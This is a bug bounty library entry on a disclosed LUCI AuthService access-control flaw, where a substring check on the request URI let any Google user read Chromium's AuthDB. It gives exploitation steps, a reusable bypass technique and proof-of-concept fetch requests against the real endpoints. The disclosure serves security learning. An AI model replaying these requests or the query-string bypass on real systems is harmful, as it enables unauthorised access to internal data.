# Chromium infra leak

LUCI AuthDB authorization check used substring match on request URI, letting any Google user bypass group membership and read the auth database.

- Payout: $1,000
- Severity: high
- Program: Google
- Found by: NDevTK
- Disclosed: 2024-08-02
- Write-up quality: 7/10
- Original: https://ndevtk.github.io/writeups/2024/08/02/chromiuminfra/
- Library page: https://bugbountylibrary.com/r/blog%3Andevtk-github-io-writeups-2024-08-02-chromiuminfra
- Tags: area:cloud domain:cloud impact:data-leak impact:internal-access kind:bounty platform:blog sev:high tech:gcp tech:oauth technique:source-review vuln:access-control vuln:auth-bypass

**Target:** LUCI AuthService (chrome-infra-auth.appspot.com) authdb subscription/revision API
**Root cause:** Permission check used strings.Contains(ctx.Request.URL.RequestURI(), "/auth_service/api/v1/importer/ingest_tarball/") instead of exact path matching, so any URI containing that substring passed the auth-trusted-services gate.
**Steps:**
1. OAuth login as any normal Google user via the gsiwebsdk client_id redirect to defaultv2-dot-chrome-infra-auth.appspot.com/auth/openid/callback with response_type=token
2. Copy access_token from URL hash
3. POST `https://defaultv2-dot-chrome-infra-auth.appspot.com/auth_service/api/v1/authdb/subscription/authorization?x=/auth_service/api/v1/importer/ingest_tarball/` with `Authorization: Bearer <token>`
4. Observe `{"authorized":true,...}` despite not being in auth-trusted-services
5. GET `https://defaultv2-dot-chrome-infra-auth.appspot.com/auth_service/api/v2/authdb/revisions/latest?x=/auth_service/api/v1/importer/ingest_tarball/` with Bearer token to download the AuthDB
**How found:** Reading luci-go source (AuthService.RequestAccess) revealed the authorization gate; noticing the check was a strings.Contains on the raw request URI rather than an exact path match suggested appending the trusted path as a query parameter to bypass it.
**Exploitation:** Any authenticated Google account obtains an OAuth access token for the LUCI auth service, then appends the magic substring as a query parameter to privileged authdb endpoints; the substring check passes and the API returns the full AuthDB (user groups, IP allowlists, OAuth client allowlist) and allows downloading revisions.
**Insight:** When an auth gate keys off a substring of the request URI, try appending the trusted path as a query string (`?x=/trusted/path/`) to any privileged endpoint; also read the referenced Go package docs to learn the exact trusted path string.

## Proof of concept (copied exactly from the original report)

**OAuth login URL to obtain access token**

```
https://accounts.google.com/o/oauth2/v2/auth?gsiwebsdk=3&client_id=446450136466-tmlcmovb9hnoh8rhs39846vmmd0rrsl0.apps.googleusercontent.com&scope=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email&redirect_uri=https%3A%2F%2Fdefaultv2-dot-chrome-infra-auth.appspot.com%2Fauth%2Fopenid%2Fcallback&prompt=select_account&response_type=token&include_granted_scopes=false&enable_granular_consent=true
```

**POST fetch bypassing auth via path substring**

```
fetch(
 'https://defaultv2-dot-chrome-infra-auth.appspot.com/auth_service/api/v1/authdb/subscription/authorization?x=/auth_service/api/v1/importer/ingest_tarball/',
 {
 headers: {
 authorization: 'Bearer <token goes here>'
 },
 referrerPolicy: 'strict-origin-when-cross-origin',
 method: 'POST',
 mode: 'cors'
 }
);
```

**GET fetch downloading AuthDB revisions**

```
fetch(
 'https://defaultv2-dot-chrome-infra-auth.appspot.com/auth_service/api/v2/authdb/revisions/latest?x=/auth_service/api/v1/importer/ingest_tarball/',
 {
 headers: {
 authorization: 'Bearer <token>'
 },
 referrerPolicy: 'strict-origin-when-cross-origin',
 method: 'GET',
 mode: 'cors'
 }
);
```

